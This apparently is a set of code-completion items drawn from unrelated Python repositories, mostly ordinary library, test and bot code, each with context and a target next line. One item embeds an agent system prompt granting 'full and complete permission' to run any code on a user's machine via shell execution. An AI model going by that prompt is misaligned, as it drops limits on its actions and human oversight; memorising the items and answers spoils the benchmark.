["."]) & filters.me & filters.private) async def deny(client, message): chat_id = message.chat.id await Zaid.deny_user(chat_id) await message.edit(f"**I have denied [you](tg://user?id={chat_id}) to PM me.**") @Client.on_message( filters.private & filters.create(denied_users) & filters.incoming & ~filters.service & ~filters.me & ~filters.bot ) async def reply_pm(app: Client, message): global FLOOD_CTRL pmpermit, pm_message, limit, block_message = await Zaid.get_pm_settings() user = message.from_user.id user_warns = 0 if user not in USERS_AND_WARNS else USERS_AND_WARNS[user]

if PM_LOGGER:

2023-11-13 18:19:50+00:00

2k

UWNetworksLab/adn-compiler

compiler/element/optimize/consolidate.py

from copy import deepcopy from typing import Callable, Dict, List, Optional, Protocol, Sequence, Tuple, TypeVar from compiler.element.logger import ELEMENT_LOG as LOG from compiler.element.node import * from compiler.element.node import Expr, Identifier, Internal, MethodCall, Procedure from compiler.element.visitor import Visitor

def consolidate(irs: List[Program]) -> Program: while len(irs) > 1: left = irs.pop(0) right = irs.pop(0) new_prog = Program( Internal([]), Procedure("init", [], []), Procedure("req", [], []), Procedure("resp", [], []), ) new_prog.definition.internal = deepcopy( left.definition.internal + right.definition.internal ) InitConsolidator().visitProcedure(new_prog.init, (left.init, right.init)) ProcedureConsolidator().visitProcedure( new_prog.req, (deepcopy(left.req), deepcopy(right.req)) ) ProcedureConsolidator().visitProcedure( new_prog.resp, (deepcopy(right.resp), deepcopy(left.resp)) ) irs.append(new_prog) return irs[0] class InitConsolidator(Visitor): def __init__(self): pass def visitNode(self, node: Node, ctx) -> str:

def consolidate(irs: List[Program]) -> Program: while len(irs) > 1: left = irs.pop(0) right = irs.pop(0) new_prog = Program( Internal([]), Procedure("init", [], []), Procedure("req", [], []), Procedure("resp", [], []), ) new_prog.definition.internal = deepcopy( left.definition.internal + right.definition.internal ) InitConsolidator().visitProcedure(new_prog.init, (left.init, right.init)) ProcedureConsolidator().visitProcedure( new_prog.req, (deepcopy(left.req), deepcopy(right.req)) ) ProcedureConsolidator().visitProcedure( new_prog.resp, (deepcopy(right.resp), deepcopy(left.resp)) ) irs.append(new_prog) return irs[0] class InitConsolidator(Visitor): def __init__(self): pass def visitNode(self, node: Node, ctx) -> str:

LOG.error("InitConsolidator: visitNode not implemented")

2023-11-13 07:31:52+00:00

2k

sunholo-data/sunholo-py

sunholo/components/llm.py

from ..logging import setup_logging from ..utils.config import load_config_key, load_config, get_module_filepath from langchain.chat_models import ChatOpenAI from langchain.llms import VertexAI from langchain.llms import VertexAI from ..patches.langchain.vertexai import VertexAIModelGarden from langchain.chat_models import ChatOpenAI from langchain.chat_models import ChatVertexAI from langchain.chat_models import ChatVertexAI from langchain_google_genai import ChatGoogleGenerativeAI from langchain.embeddings import OpenAIEmbeddings from langchain.embeddings import VertexAIEmbeddings from langchain_google_genai import GoogleGenerativeAIEmbeddings

# Copyright [2023] [Holosun ApS] # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. logging = setup_logging() def pick_llm(vector_name): logging.debug('Picking llm')

# Copyright [2023] [Holosun ApS] # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. logging = setup_logging() def pick_llm(vector_name): logging.debug('Picking llm')

llm_str = load_config_key("llm", vector_name, filename = "config/llm_config.yaml")

2023-11-14 14:53:19+00:00

2k

atlantic-quantum/Shipyard

tests/passes/semantic_analysis/test_scoped_symbol_table.py

import pytest from shipyard.passes.semantic_analysis import scoped_symbol_table as sst from shipyard.passes.semantic_analysis import symbols

""" The scoped symbol table is intended to be used by the Semantic Analyser module. An 'end-to-end' use case example will be included in the tests for the Semantic Analyser ToDo update working when adding semantic analyser tests """ SYMBOL_LISTS = [sst.BUILTIN_TYPES, sst.BUILTIN_ZI_EXP] CAL_SYMBOL_LISTS = [sst.BUILTIN_CAL_TYPES, sst.BUILTIN_OPENPULSE, sst.BUILTIN_ZI_WFM] @pytest.fixture(name="main_table") def fixture_main_table() -> sst.ScopedSymbolTable: """Fixture for creating the 'main' ScopedSymbolTable this table has no enclosing scope Returns: sst.ScopedSymbolTable: symbol table with no enclosing scope """ return sst.ScopedSymbolTable("main") @pytest.fixture(name="nested_table") def fixture_nested_table(main_table: sst.ScopedSymbolTable) -> sst.ScopedSymbolTable: """Fixture for creating a nested ScopedSymbolTable the 'main' symbol table encloses this table Args: main_table (sst.ScopedSymbolTable): used as enclosing scope for this table Returns: sst.ScopedSymbolTable: symbol table with enclosing scope """ return sst.ScopedSymbolTable("nested", enclosing_scope=main_table) @pytest.fixture(name="cal_table") def fixture_cal_table(main_table: sst.ScopedSymbolTable) -> sst.CalScopedSymbolTable: """ Fixture for creating 'main' a ScopedSymbolTable for openPulse code, has the 'main' symbol table as an enclosing scope and is initialised with init_cal set to True Args: main_table (sst.ScopedSymbolTable): used as enclosing scope for this table Returns: sst.CalScopedSymbolTable: main calibration symbol table """ return sst.CalScopedSymbolTable("cal", enclosing_scope=main_table, init_cal=True) @pytest.fixture(name="defcal_table") def fixture_defcal_table( cal_table: sst.CalScopedSymbolTable, ) -> sst.CalScopedSymbolTable: """ Fixture for creating a nested ScopedSymbolTable for openPulse code, has the 'main calibration' (cal_table) as an enclosing scope Args: cal_table (sst.CalScopedSymbolTable): used as enclosing scope for this table Returns: sst.CalScopedSymbolTable: nested calibration symbol table """ return sst.CalScopedSymbolTable("defcal", enclosing_scope=cal_table) def test_scoped_symbol_table_basic(main_table: sst.ScopedSymbolTable): """Test basic insertion and lookup in table without enclosing scope""" # test that built in symbols have been inserted for symbol_list in SYMBOL_LISTS: symbol_names = [] for symbol in symbol_list: assert main_table.lookup(symbol.name) is symbol symbol_names.append(symbol.name) # test that names of builtin symbols are returned by the keys method for name in symbol_names: assert name in main_table.keys() assert name in main_table.keys(current_scope_only=True) # test inserting a symbol and lookin it up and name being returned by keys()

""" The scoped symbol table is intended to be used by the Semantic Analyser module. An 'end-to-end' use case example will be included in the tests for the Semantic Analyser ToDo update working when adding semantic analyser tests """ SYMBOL_LISTS = [sst.BUILTIN_TYPES, sst.BUILTIN_ZI_EXP] CAL_SYMBOL_LISTS = [sst.BUILTIN_CAL_TYPES, sst.BUILTIN_OPENPULSE, sst.BUILTIN_ZI_WFM] @pytest.fixture(name="main_table") def fixture_main_table() -> sst.ScopedSymbolTable: """Fixture for creating the 'main' ScopedSymbolTable this table has no enclosing scope Returns: sst.ScopedSymbolTable: symbol table with no enclosing scope """ return sst.ScopedSymbolTable("main") @pytest.fixture(name="nested_table") def fixture_nested_table(main_table: sst.ScopedSymbolTable) -> sst.ScopedSymbolTable: """Fixture for creating a nested ScopedSymbolTable the 'main' symbol table encloses this table Args: main_table (sst.ScopedSymbolTable): used as enclosing scope for this table Returns: sst.ScopedSymbolTable: symbol table with enclosing scope """ return sst.ScopedSymbolTable("nested", enclosing_scope=main_table) @pytest.fixture(name="cal_table") def fixture_cal_table(main_table: sst.ScopedSymbolTable) -> sst.CalScopedSymbolTable: """ Fixture for creating 'main' a ScopedSymbolTable for openPulse code, has the 'main' symbol table as an enclosing scope and is initialised with init_cal set to True Args: main_table (sst.ScopedSymbolTable): used as enclosing scope for this table Returns: sst.CalScopedSymbolTable: main calibration symbol table """ return sst.CalScopedSymbolTable("cal", enclosing_scope=main_table, init_cal=True) @pytest.fixture(name="defcal_table") def fixture_defcal_table( cal_table: sst.CalScopedSymbolTable, ) -> sst.CalScopedSymbolTable: """ Fixture for creating a nested ScopedSymbolTable for openPulse code, has the 'main calibration' (cal_table) as an enclosing scope Args: cal_table (sst.CalScopedSymbolTable): used as enclosing scope for this table Returns: sst.CalScopedSymbolTable: nested calibration symbol table """ return sst.CalScopedSymbolTable("defcal", enclosing_scope=cal_table) def test_scoped_symbol_table_basic(main_table: sst.ScopedSymbolTable): """Test basic insertion and lookup in table without enclosing scope""" # test that built in symbols have been inserted for symbol_list in SYMBOL_LISTS: symbol_names = [] for symbol in symbol_list: assert main_table.lookup(symbol.name) is symbol symbol_names.append(symbol.name) # test that names of builtin symbols are returned by the keys method for name in symbol_names: assert name in main_table.keys() assert name in main_table.keys(current_scope_only=True) # test inserting a symbol and lookin it up and name being returned by keys()

c_symbol = symbols.ClassicalSymbol(name="test", kind=symbols.angle_type.name)

2023-11-16 17:37:29+00:00

2k

PrAsAnNaRePo/LocalAgent

localagent/interpreter.py

import subprocess import sys from localagent.utils import get_prompt_from_template, internal_monologue from localagent.gen import run, stream_run, ollama_generate from rich.console import Console

console = Console() CODE_INTERPRETER = """You are Open Interpreter, a world-class programmer that can complete any goal by executing code. First, write a plan. **Always recap the plan between each code block**. When you execute code, it will be executed **on the user's machine**. The user has given you **full and complete permission** to execute any code necessary to complete the task. If you want to send data between programming languages, save the data to a txt or json. You can access the internet. Run **any code** to achieve the goal, and if at first you don't succeed, try again and again. You can install new packages. When a user refers to a filename, they're likely referring to an existing file in the directory you're currently executing code in. Write messages to the user in Markdown. In general, try to **make plans** with as few steps as possible. Remember that one code block is considered as a single file and you can't able to access the variable from first code blocks in the second one. You are capable of **any** task. Don't install libraries using '!' in the python code block instead use seperate bash code block. As a open interpreter you should mostly respond with codes more than a text. Always tries to print the things up so you can know them via output. """ def extract_code(string): code_blocks = [] parts = string.split("```") for i in range(1, len(parts), 2): lines = parts[i].split("\n") lang = lines[0] code = "\n".join(lines[1:]) code_blocks.append((lang, code)) return code_blocks class Interpreter: def __init__(self, exec, max_try, human_, assistant_, eos_token, stream=False) -> None: self.history = [] self.exec = exec self.max_try = max_try self.human_ = human_ self.assistant_ = assistant_ self.eos_token = eos_token self.stream = stream def execute_code(self, lang, code, timeout=10): if lang.lower() == 'python': try: output = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True, timeout=timeout) except subprocess.TimeoutExpired: print(f"Execution of Python code timed out after {timeout} seconds.") return None elif lang.lower() == 'bash': try: output = subprocess.run(code, shell=True, capture_output=True, text=True, timeout=timeout) except subprocess.TimeoutExpired: print(f"Execution of Bash code timed out after {timeout} seconds.") return None else: print('Only supported python and ') return None return output def __call__(self, task): print('\n')

console = Console() CODE_INTERPRETER = """You are Open Interpreter, a world-class programmer that can complete any goal by executing code. First, write a plan. **Always recap the plan between each code block**. When you execute code, it will be executed **on the user's machine**. The user has given you **full and complete permission** to execute any code necessary to complete the task. If you want to send data between programming languages, save the data to a txt or json. You can access the internet. Run **any code** to achieve the goal, and if at first you don't succeed, try again and again. You can install new packages. When a user refers to a filename, they're likely referring to an existing file in the directory you're currently executing code in. Write messages to the user in Markdown. In general, try to **make plans** with as few steps as possible. Remember that one code block is considered as a single file and you can't able to access the variable from first code blocks in the second one. You are capable of **any** task. Don't install libraries using '!' in the python code block instead use seperate bash code block. As a open interpreter you should mostly respond with codes more than a text. Always tries to print the things up so you can know them via output. """ def extract_code(string): code_blocks = [] parts = string.split("```") for i in range(1, len(parts), 2): lines = parts[i].split("\n") lang = lines[0] code = "\n".join(lines[1:]) code_blocks.append((lang, code)) return code_blocks class Interpreter: def __init__(self, exec, max_try, human_, assistant_, eos_token, stream=False) -> None: self.history = [] self.exec = exec self.max_try = max_try self.human_ = human_ self.assistant_ = assistant_ self.eos_token = eos_token self.stream = stream def execute_code(self, lang, code, timeout=10): if lang.lower() == 'python': try: output = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True, timeout=timeout) except subprocess.TimeoutExpired: print(f"Execution of Python code timed out after {timeout} seconds.") return None elif lang.lower() == 'bash': try: output = subprocess.run(code, shell=True, capture_output=True, text=True, timeout=timeout) except subprocess.TimeoutExpired: print(f"Execution of Bash code timed out after {timeout} seconds.") return None else: print('Only supported python and ') return None return output def __call__(self, task): print('\n')

internal_monologue("Interpreter is executing the code...\n")

2023-11-10 07:47:41+00:00

2k

Cymaphore/orfodon-service

orfodon_service.py

import re import yaml import copy import feedparser import time import requests import hashlib from datetime import datetime from bs4 import BeautifulSoup from mastodon import Mastodon from pprint import pprint from config import config from credentials import credentials from feeds import feeds from hashtag_modification import hashtag_replace from hashtag_modification import hashtag_blacklist from hashtag_modification import category_aliases from hashtag_modification import oewa_sport_aliases from hashtag_modification import oewa_bypass

hashtag_wordlist = [] ############################################################################# ## # Main function # Call all the stages in correct order def main(): # Load hashtag wordlists load_hashtags() # Load previous state, initialize new state load_state() # Load the configured feeds and preprocess text load_feeds() # Grab post references from other channels for boosting, keep id from oldState grab_posts() # Post newly generated articles to the channels post_feeds() # Save state for next cycle save_state() ############################################################################# ## # Load hashtag wordlists def load_hashtags(): hashtags_filename = config["files"]["global_hashtags"] if True: hashtags_file = open(hashtags_filename, "r") global hashtag_wordlist hashtag_wordlist = hashtags_file.read().splitlines() ############################################################################# ## # Load the configured feeds and preprocess text def load_state(): global state global oldState global hashtag_wordlist try: with open(config["files"]["state"]) as fh: oldState = yaml.load(fh, yaml.SafeLoader) except: oldState = {} for feed in feeds: if not feed["id"] in state: state[feed["id"]] = {} if not feed["id"] in oldState: oldState[feed["id"]] = {} ############################################################################# ## # Save state for next cycle def save_state(): with open(config["files"]["state"], 'w') as fh: fh.write(yaml.dump(state, default_flow_style=False)) ############################################################################# ## # Load the configured feeds and preprocess text def load_feeds(): global state global oldState for feed in feeds: feedStateOld = oldState[feed["id"]] feedState = state[feed["id"]] if "url" in feed: entries = feedparser.parse(feed["url"]).entries if len(entries) < 1: raise RuntimeError("No elements in feed " + feed["url"]) for entry in entries: title = entry.get('title') text = entry.get('summary') url = entry.get('link') category = entry.get('category') raw_posting = "" post_type_text = False hashtags = [] updated = entry.get('updated') boost_target = "" edited = False exists = False oldPosting = {} status_id = 0 posted = False post_text = "" boosted = False ref = "" if url in feedStateOld: exists = True oldPosting = feedStateOld[url] if "status_id" in oldPosting: status_id = oldPosting["status_id"] if "posted" in oldPosting: posted = oldPosting["posted"] if "boosted" in oldPosting: boosted = oldPosting["boosted"] first_oewa = False if "enable_oewa_sport" in feed and feed["enable_oewa_sport"]: first_oewa = True

## # @mainpage ORFodon service script # # Quick and dirty solution to turn ORF.at into a Mastodon-site # # @Warning this is tailormade for ORF.at and will not work without modification # with other RSS based news sites! # # Inspired by feediverse from Ed Summers # # Process configuration, fetch news entries and post them to different accounts # # Dependencies: # - bs4 # - feedparser # - yaml # - mastodon # # License: The MIT License (MIT) # Copyright: Martin Eitzenberger <x@cymaphore.net> # @cymaphore@i.cymaphore.net # https://cymaphore.net # # @todo Secondary urls like https://vorarlberg.orf.at/radio/stories/3231551/ https://steiermark.orf.at/magazin/stories/3232156/ # @todo Sort news in descending order by date when bulk processing <-- low prio, usually not an issue # @todo Account mentioner ("der Standard" --> @derStandard)? # @todo extract top hashtags from current posts and add them to profile # @todo ORF_Topos as channel # ############################################################################# # External components ############################################################################# # Configuration ############################################################################# # Current fetched articles / state global state # State from previous run cycle global oldState # Global hashtag wordlist global hashtag_wordlist state = {} oldState = {} hashtag_wordlist = [] ############################################################################# ## # Main function # Call all the stages in correct order def main(): # Load hashtag wordlists load_hashtags() # Load previous state, initialize new state load_state() # Load the configured feeds and preprocess text load_feeds() # Grab post references from other channels for boosting, keep id from oldState grab_posts() # Post newly generated articles to the channels post_feeds() # Save state for next cycle save_state() ############################################################################# ## # Load hashtag wordlists def load_hashtags(): hashtags_filename = config["files"]["global_hashtags"] if True: hashtags_file = open(hashtags_filename, "r") global hashtag_wordlist hashtag_wordlist = hashtags_file.read().splitlines() ############################################################################# ## # Load the configured feeds and preprocess text def load_state(): global state global oldState global hashtag_wordlist try: with open(config["files"]["state"]) as fh: oldState = yaml.load(fh, yaml.SafeLoader) except: oldState = {} for feed in feeds: if not feed["id"] in state: state[feed["id"]] = {} if not feed["id"] in oldState: oldState[feed["id"]] = {} ############################################################################# ## # Save state for next cycle def save_state(): with open(config["files"]["state"], 'w') as fh: fh.write(yaml.dump(state, default_flow_style=False)) ############################################################################# ## # Load the configured feeds and preprocess text def load_feeds(): global state global oldState for feed in feeds: feedStateOld = oldState[feed["id"]] feedState = state[feed["id"]] if "url" in feed: entries = feedparser.parse(feed["url"]).entries if len(entries) < 1: raise RuntimeError("No elements in feed " + feed["url"]) for entry in entries: title = entry.get('title') text = entry.get('summary') url = entry.get('link') category = entry.get('category') raw_posting = "" post_type_text = False hashtags = [] updated = entry.get('updated') boost_target = "" edited = False exists = False oldPosting = {} status_id = 0 posted = False post_text = "" boosted = False ref = "" if url in feedStateOld: exists = True oldPosting = feedStateOld[url] if "status_id" in oldPosting: status_id = oldPosting["status_id"] if "posted" in oldPosting: posted = oldPosting["posted"] if "boosted" in oldPosting: boosted = oldPosting["boosted"] first_oewa = False if "enable_oewa_sport" in feed and feed["enable_oewa_sport"]: first_oewa = True

if not category in oewa_bypass:

2023-11-10 10:25:43+00:00

2k

Vitesco-Technologies/ldap-password-rotation

tests/test_lambda.py

import json import logging import os import boto3 import ldap3 import mock import pytest from uuid import uuid4 from moto import mock_lambda, mock_secretsmanager from src import lambda_function from .utilities import lambda_util from .utilities.ldap_test import LdapServer

# Copyright 2023 Daniel Dias, Vitesco Technologies # # SPDX-License-Identifier: Apache-2.0 _region = "eu-central-1" # server is defined as global to allow us to update it when we mock # ldap3.extend.microsoft.modifyPassword.ad_modify_password with mock_ad_modify_password _server = LdapServer() logger = logging.getLogger() logger.setLevel(logging.INFO) ############ # fixtures # ############ @pytest.fixture(scope="function", autouse=True) def aws_credentials(): """Mocked AWS Credentials for moto.""" os.environ["AWS_ACCESS_KEY_ID"] = "testing" os.environ["AWS_SECRET_ACCESS_KEY"] = "testing" os.environ["AWS_SECURITY_TOKEN"] = "testing" os.environ["AWS_SESSION_TOKEN"] = "testing" os.environ["AWS_DEFAULT_REGION"] = _region @pytest.fixture(scope="function", autouse=True) def lambda_env():

# Copyright 2023 Daniel Dias, Vitesco Technologies # # SPDX-License-Identifier: Apache-2.0 _region = "eu-central-1" # server is defined as global to allow us to update it when we mock # ldap3.extend.microsoft.modifyPassword.ad_modify_password with mock_ad_modify_password _server = LdapServer() logger = logging.getLogger() logger.setLevel(logging.INFO) ############ # fixtures # ############ @pytest.fixture(scope="function", autouse=True) def aws_credentials(): """Mocked AWS Credentials for moto.""" os.environ["AWS_ACCESS_KEY_ID"] = "testing" os.environ["AWS_SECRET_ACCESS_KEY"] = "testing" os.environ["AWS_SECURITY_TOKEN"] = "testing" os.environ["AWS_SESSION_TOKEN"] = "testing" os.environ["AWS_DEFAULT_REGION"] = _region @pytest.fixture(scope="function", autouse=True) def lambda_env():

lambda_function.SECRETS_MANAGER_KEY_USERNAME = "bind_dn"

2023-11-17 15:03:58+00:00

2k

totallynotadi/vibrant-python

vibrant/main.py

import io from typing import Union from PIL.Image import Image as PILImage from vibrant.generator import generate from vibrant.image import VibrantImage from vibrant.models import Palette, Props

class Vibrant: props: Props def __init__(self, color_count=64, quality=5) -> None: self.props = Props(color_count=color_count, quality=quality) def get_palette( self, src: Union[ bytes, str, io.BytesIO, io.BufferedReader, PILImage,

class Vibrant: props: Props def __init__(self, color_count=64, quality=5) -> None: self.props = Props(color_count=color_count, quality=quality) def get_palette( self, src: Union[ bytes, str, io.BytesIO, io.BufferedReader, PILImage,

VibrantImage,

2023-11-13 10:05:11+00:00

2k

MAGICS-LAB/SparseModernHopfield

layers.py

import torch import torch.nn as nn import torch.nn.functional as F import numpy as np import math from einops import rearrange, repeat from math import sqrt from utils.sparse_max import Sparsemax from utils.entmax import Entmax15 from utils.general_entmax import EntmaxAlpha

class FullAttention(nn.Module): ''' The Attention operation ''' def __init__(self, scale=None, attention_dropout=0.0): super(FullAttention, self).__init__() self.scale = scale self.dropout = nn.Dropout(attention_dropout) def forward(self, queries, keys, values, mask=None): B, L, H, E = queries.shape _, S, _, D = values.shape scale = self.scale or 1. / sqrt(E) scores = torch.einsum("blhe,bshe->bhls", queries, keys) if mask is not None: mask = mask.unsqueeze(1).unsqueeze(1).repeat(1, H, scores.size(-2), 1) scores = scores.masked_fill_(mask, float('-inf')) A = self.dropout(torch.softmax(scale * scores, dim=-1)) V = torch.einsum("bhls,bshd->blhd", A, values) return V.contiguous() class AttentionLayer(nn.Module): ''' The Multi-head Self-Attention (MSA) Layer ''' def __init__( self, d_model, n_heads, d_keys=None, d_values=None, mix=True, dropout=0.1, scale=None): super(AttentionLayer, self).__init__() d_keys = d_keys or (d_model // n_heads) d_values = d_values or (d_model // n_heads) self.d_model = d_model self.inner_attention = FullAttention( scale=scale, attention_dropout=dropout) self.query_projection = nn.Linear(d_model, d_keys * n_heads) self.key_projection = nn.Linear(d_model, d_keys * n_heads) self.value_projection = nn.Linear(d_model, d_values * n_heads) self.out_projection = nn.Linear(d_values * n_heads, d_model) self.n_heads = n_heads self.mix = mix def forward(self, inputs): queries = inputs keys = inputs values = inputs B, L, _ = queries.shape _, S, _ = keys.shape H = self.n_heads queries = self.query_projection(queries).view(B, L, H, -1) keys = self.key_projection(keys).view(B, S, H, -1) values = self.value_projection(values).view(B, S, H, -1) out = self.inner_attention( queries, keys, values, ) out = out.view(B, L, -1) out = out.mean(1) return self.out_projection(out) class HopfieldCore(nn.Module): ''' The Hopfield operation ''' def __init__(self, scale=None, attention_dropout=0.0, mode='sparsemax', norm=False): super(HopfieldCore, self).__init__() self.scale = scale self.norm = norm self.dropout = nn.Dropout(attention_dropout) if mode == 'sparsemax': self.softmax = Sparsemax(dim=-1) elif mode == 'entmax':

class FullAttention(nn.Module): ''' The Attention operation ''' def __init__(self, scale=None, attention_dropout=0.0): super(FullAttention, self).__init__() self.scale = scale self.dropout = nn.Dropout(attention_dropout) def forward(self, queries, keys, values, mask=None): B, L, H, E = queries.shape _, S, _, D = values.shape scale = self.scale or 1. / sqrt(E) scores = torch.einsum("blhe,bshe->bhls", queries, keys) if mask is not None: mask = mask.unsqueeze(1).unsqueeze(1).repeat(1, H, scores.size(-2), 1) scores = scores.masked_fill_(mask, float('-inf')) A = self.dropout(torch.softmax(scale * scores, dim=-1)) V = torch.einsum("bhls,bshd->blhd", A, values) return V.contiguous() class AttentionLayer(nn.Module): ''' The Multi-head Self-Attention (MSA) Layer ''' def __init__( self, d_model, n_heads, d_keys=None, d_values=None, mix=True, dropout=0.1, scale=None): super(AttentionLayer, self).__init__() d_keys = d_keys or (d_model // n_heads) d_values = d_values or (d_model // n_heads) self.d_model = d_model self.inner_attention = FullAttention( scale=scale, attention_dropout=dropout) self.query_projection = nn.Linear(d_model, d_keys * n_heads) self.key_projection = nn.Linear(d_model, d_keys * n_heads) self.value_projection = nn.Linear(d_model, d_values * n_heads) self.out_projection = nn.Linear(d_values * n_heads, d_model) self.n_heads = n_heads self.mix = mix def forward(self, inputs): queries = inputs keys = inputs values = inputs B, L, _ = queries.shape _, S, _ = keys.shape H = self.n_heads queries = self.query_projection(queries).view(B, L, H, -1) keys = self.key_projection(keys).view(B, S, H, -1) values = self.value_projection(values).view(B, S, H, -1) out = self.inner_attention( queries, keys, values, ) out = out.view(B, L, -1) out = out.mean(1) return self.out_projection(out) class HopfieldCore(nn.Module): ''' The Hopfield operation ''' def __init__(self, scale=None, attention_dropout=0.0, mode='sparsemax', norm=False): super(HopfieldCore, self).__init__() self.scale = scale self.norm = norm self.dropout = nn.Dropout(attention_dropout) if mode == 'sparsemax': self.softmax = Sparsemax(dim=-1) elif mode == 'entmax':

self.softmax = Entmax15(dim=-1)

2023-11-12 06:36:52+00:00

2k

Kuba314/arcparse

arcparse/_partial_arguments.py

from abc import ABC, abstractmethod from collections.abc import Callable, Collection from dataclasses import dataclass from typing import Any, Literal, get_origin from arcparse.errors import InvalidArgument, InvalidTypehint, MissingConverter from ._typehints import ( extract_collection_type, extract_literal_strings, extract_optional_type, extract_type_from_typehint, ) from .arguments import ( BaseValueArgument, ContainerApplicable, Flag, NoFlag, Option, Positional, TriFlag, Void, void, ) from .converters import itemwise import re

@dataclass(kw_only=True, eq=False) class PartialMxGroup: required: bool = False @dataclass(kw_only=True)

@dataclass(kw_only=True, eq=False) class PartialMxGroup: required: bool = False @dataclass(kw_only=True)

class BasePartialArgument[R: ContainerApplicable](ABC):

2023-11-15 08:58:37+00:00

2k

rohitsinghlab/sceodesic

sceodesic/sceo_main/estimate_covariances.py

import scipy import pickle import sys from ..utils import fn_timer from ..helper import compute_covariance_and_ncomps_pct_variance from .default_keys import *

# package-specific modules @fn_timer def estimate_covariances(adata, max_condition_number, pvd_pct=0.9, copy=False, return_results=False, top_genes=None, cohort_assn=None, uns_key=None): if uns_key is None: uns_key = UNS_KEY # not able to be passed in hvg_key = HVG_KEY # top_genes can either be passed in anew or be precomputed using get_locally_variable_genes if top_genes is None: try: top_genes = adata.uns[uns_key][hvg_key] except Exception as e: message = ("Error: must either specify a set of genes to consider or " "have run sceodesic.get_locally_variable_genes beforehand.") print(message, file=sys.stderr) raise e else: adata.uns[uns_key][hvg_key] = top_genes # can either pass in a cell cohort assignment (array cohort_assn with cell[i] having cluster assn cohort_assn[i]) # or the cluster_key clustering_results = None if cohort_assn is None: try: clustering_results = adata.uns[uns_key] except: message = ("Error: must either specify a cell cohort assignment or " "have run sceodesic.get_cell_cohorts beforehand.") print(message, file=sys.stderr) raise e else: c2c = {} for i, c in enumerate(cohort_assn): c2c[c] = c2c.get(c, []) + [i] clustering_results = {'cell2cluster': c2c, 'stratify_cols': '***NOT SPECIFIED***'} adata.uns[uns_key].update(clustering_results) return _estimate_covariances(adata, max_condition_number, pvd_pct, copy, return_results, top_genes=top_genes, results_clustering=clustering_results, uns_key=uns_key) def _estimate_covariances(adata, max_condition_number, pvd_pct=0.9, copy=False, return_results=False, coexpression_filename=None, top_genes=None, results_clustering=None, uns_key=None, cluster_covar_key=None, cluster_var_ct_key=None): if uns_key is None: uns_key = UNS_KEY if cluster_covar_key is None: cluster_covar_key = CLUSTER_COVAR_KEY if cluster_var_ct_key is None: cluster_var_ct_key = CLUSTER_VAR_CT_KEY if copy: adata = adata.copy() # change later top_genes = top_genes results_clustering = results_clustering cell2cluster = results_clustering["cell2cluster"] filtered_data = adata[:,top_genes] # Get the clusters from the reduced data. clusters = {} processed_data = None if scipy.sparse.issparse(filtered_data.X): processed_data = filtered_data.X.A else: processed_data = filtered_data.X for key in cell2cluster.keys(): cluster_indices = cell2cluster[key] clusters[key] = processed_data[cluster_indices,:] cluster_covariances = {} cluster_var_count = {} for i,cluster in clusters.items():

# package-specific modules @fn_timer def estimate_covariances(adata, max_condition_number, pvd_pct=0.9, copy=False, return_results=False, top_genes=None, cohort_assn=None, uns_key=None): if uns_key is None: uns_key = UNS_KEY # not able to be passed in hvg_key = HVG_KEY # top_genes can either be passed in anew or be precomputed using get_locally_variable_genes if top_genes is None: try: top_genes = adata.uns[uns_key][hvg_key] except Exception as e: message = ("Error: must either specify a set of genes to consider or " "have run sceodesic.get_locally_variable_genes beforehand.") print(message, file=sys.stderr) raise e else: adata.uns[uns_key][hvg_key] = top_genes # can either pass in a cell cohort assignment (array cohort_assn with cell[i] having cluster assn cohort_assn[i]) # or the cluster_key clustering_results = None if cohort_assn is None: try: clustering_results = adata.uns[uns_key] except: message = ("Error: must either specify a cell cohort assignment or " "have run sceodesic.get_cell_cohorts beforehand.") print(message, file=sys.stderr) raise e else: c2c = {} for i, c in enumerate(cohort_assn): c2c[c] = c2c.get(c, []) + [i] clustering_results = {'cell2cluster': c2c, 'stratify_cols': '***NOT SPECIFIED***'} adata.uns[uns_key].update(clustering_results) return _estimate_covariances(adata, max_condition_number, pvd_pct, copy, return_results, top_genes=top_genes, results_clustering=clustering_results, uns_key=uns_key) def _estimate_covariances(adata, max_condition_number, pvd_pct=0.9, copy=False, return_results=False, coexpression_filename=None, top_genes=None, results_clustering=None, uns_key=None, cluster_covar_key=None, cluster_var_ct_key=None): if uns_key is None: uns_key = UNS_KEY if cluster_covar_key is None: cluster_covar_key = CLUSTER_COVAR_KEY if cluster_var_ct_key is None: cluster_var_ct_key = CLUSTER_VAR_CT_KEY if copy: adata = adata.copy() # change later top_genes = top_genes results_clustering = results_clustering cell2cluster = results_clustering["cell2cluster"] filtered_data = adata[:,top_genes] # Get the clusters from the reduced data. clusters = {} processed_data = None if scipy.sparse.issparse(filtered_data.X): processed_data = filtered_data.X.A else: processed_data = filtered_data.X for key in cell2cluster.keys(): cluster_indices = cell2cluster[key] clusters[key] = processed_data[cluster_indices,:] cluster_covariances = {} cluster_var_count = {} for i,cluster in clusters.items():

cluster_covar, var_count = compute_covariance_and_ncomps_pct_variance(cluster, max_condition_number, pvd_pct)

2023-11-10 12:28:33+00:00

2k

dacx/fcd-community

fcd_community/users/tests/test_views.py

import pytest from django.conf import settings from django.contrib import messages from django.contrib.auth.models import AnonymousUser from django.contrib.messages.middleware import MessageMiddleware from django.contrib.sessions.middleware import SessionMiddleware from django.http import HttpRequest, HttpResponseRedirect from django.test import RequestFactory from django.urls import reverse from django.utils.translation import gettext_lazy as _ from fcd_community.users.forms import UserAdminChangeForm from fcd_community.users.models import User from fcd_community.users.tests.factories import UserFactory from fcd_community.users.views import ( UserRedirectView, UserUpdateView, user_detail_view, )

